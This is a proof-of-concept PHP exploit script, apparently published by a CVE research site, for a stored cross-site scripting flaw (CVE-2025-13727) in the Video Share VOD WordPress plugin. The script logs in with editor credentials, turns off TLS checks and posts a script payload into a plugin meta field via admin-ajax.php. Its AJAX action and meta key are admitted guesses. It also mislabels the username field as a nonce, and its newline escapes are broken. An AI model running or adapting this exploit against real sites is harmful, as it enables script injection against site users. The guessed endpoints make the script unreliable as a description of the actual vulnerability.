CVE-2025-13727: Video Share VOD <= 2.7.11 – Authenticated (Editor+) Stored Cross-Site Scripting via Custom Field Meta Values (video-share-vod)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13727 - Video Share VOD <= 2.7.11 - Authenticated (Editor+) Stored Cross-Site Scripting via Custom Field Meta Values
<?php
/*
 * Proof of Concept for CVE-2025-13727.
 * This script simulates an attack by an authenticated editor+ user injecting a stored XSS payload into a plugin custom field.
 * The exact endpoint and parameter names are inferred from the vulnerability description and common WordPress plugin patterns.
 * Assumptions:
 * 1. The target is a WordPress site with the Video Share VOD plugin (<=2.7.11) installed.
 * 2. The attacker has valid editor-level credentials (username/password).
 * 3. The site is a multisite installation or has `unfiltered_html` disabled for the editor role.
 * 4. The plugin has a custom field or setting named 'vs_vod_custom_field' (example) that is vulnerable.
 * 5. The plugin processes updates via the standard WordPress admin AJAX or POST handler.
 * This PoC performs a login to obtain authentication cookies, then attempts to submit a POST request to update a post meta field with a malicious script payload.
 */

$target_url = 'https://example.com'; // CHANGE THIS TO THE TARGET SITE URL
$username = 'editor_user'; // CHANGE THIS TO A VALID EDITOR USERNAME
$password = 'editor_password'; // CHANGE THIS TO THE USER'S PASSWORD

// The payload to inject. This is a simple alert for demonstration.
$payload = '<script>alert("Atomic Edge XSS Test - "+document.domain);</script>';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

// Step 1: Get the login page to retrieve the nonce (wp_nonce) for logging in.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$login_page = curl_exec($ch);

// Extract the login nonce (log) from the form. This regex is a common pattern.
preg_match('/name="log" value="([^"]*)"/', $login_page, $log_matches);
$log_nonce = $log_matches[1] ?? '';

// Step 2: Perform the WordPress login.
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$login_response = curl_exec($ch);

// Check for successful login by looking for a redirect to /wp-admin/ or the presence of 'Dashboard'.
if (strpos($login_response, 'Dashboard') === false && strpos($login_response, 'wp-admin') === false) {
    die('[-] Login failed. Check credentials.');
}
echo '[+] Login successful.n';

// Step 3: Assume the plugin uses the standard post meta update mechanism via admin-ajax.php.
// The exact AJAX action is unknown, but a common pattern is {plugin_slug}_update_meta.
// We target a specific post ID (e.g., 1) and inject the payload into a custom field.
$post_id = 1; // Assumed vulnerable post/page ID. An attacker would enumerate this.
$ajax_action = 'video_share_vod_update_meta'; // Inferred AJAX action name based on plugin slug.

$ajax_data = [
    'action' => $ajax_action,
    'post_id' => $post_id,
    'meta_key' => 'vs_vod_custom_field', // Inferred vulnerable meta key name.
    'meta_value' => $payload,
    '_ajax_nonce' => '' // Nonce may be required; this PoC assumes its absence or bypass is part of the vulnerability.
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, $ajax_data);
$ajax_response = curl_exec($ch);

// Check the response for success indicators.
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
    echo '[+] AJAX request sent. Payload: ' . htmlspecialchars($payload) . 'n';
    echo '[+] If the meta field is vulnerable, the script will execute when the field is displayed.n';
} else {
    echo '[-] AJAX request may have failed. HTTP Code: ' . curl_getinfo($ch, CURLINFO_HTTP_CODE) . 'n';
}

curl_close($ch);
?>